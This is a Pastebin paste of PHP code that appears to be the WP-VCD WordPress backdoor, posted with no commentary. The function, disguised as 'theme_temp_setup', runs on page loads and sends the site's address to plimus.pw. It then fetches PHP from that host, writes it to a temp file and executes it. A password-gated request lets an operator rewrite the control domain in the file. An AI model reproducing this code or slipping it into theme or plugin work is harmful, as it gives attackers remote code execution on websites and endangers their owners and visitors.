Advertisement
Guest User

Untitled

a guest
Nov 2nd, 2017
455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.15 KB | None | 0 0
  1. <?php
  2.  
  3. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f8f6d7575ad811c8b2afab4594814a2f'))
  4.     {
  5. $div_code_name="wp_vcd";
  6.         switch ($_REQUEST['action'])
  7.             {
  8.  
  9.                
  10.  
  11.  
  12.  
  13.  
  14.                 case 'change_domain';
  15.                     if (isset($_REQUEST['newdomain']))
  16.                         {
  17.                            
  18.                             if (!empty($_REQUEST['newdomain']))
  19.                                 {
  20.                                                                            if ($file = @file_get_contents(__FILE__))
  21.                                                                             {
  22.                                                                                                  if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code1\.php/i',$file,$matcholddomain))
  23.                                                                                                              {
  24.  
  25.                                                                                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  26.                                                                                        @file_put_contents(__FILE__, $file);
  27.                                                                print "true";
  28.                                                                                                              }
  29.  
  30.  
  31.                                                                             }
  32.                                 }
  33.                         }
  34.                 break;
  35.  
  36.                
  37.                
  38.                 default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  39.             }
  40.            
  41.         die("");
  42.     }
  43.  
  44.    
  45.  
  46.  
  47. if ( ! function_exists( 'theme_temp_setup' ) ) {  
  48. $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
  49. if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  50.  
  51. if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path))
  52. {
  53.  
  54.  
  55. function theme_temp_setup($phpCode) {
  56.     $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  57.     $handle = fopen($tmpfname, "w+");
  58.     fwrite($handle, "<?php\n" . $phpCode);
  59.     fclose($handle);
  60.     include $tmpfname;
  61.     unlink($tmpfname);
  62.     return get_defined_vars();
  63. }
  64.  
  65. extract(theme_temp_setup($tmpcontent));
  66. }
  67. }
  68. }
  69.  
  70.  
  71.  
  72. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement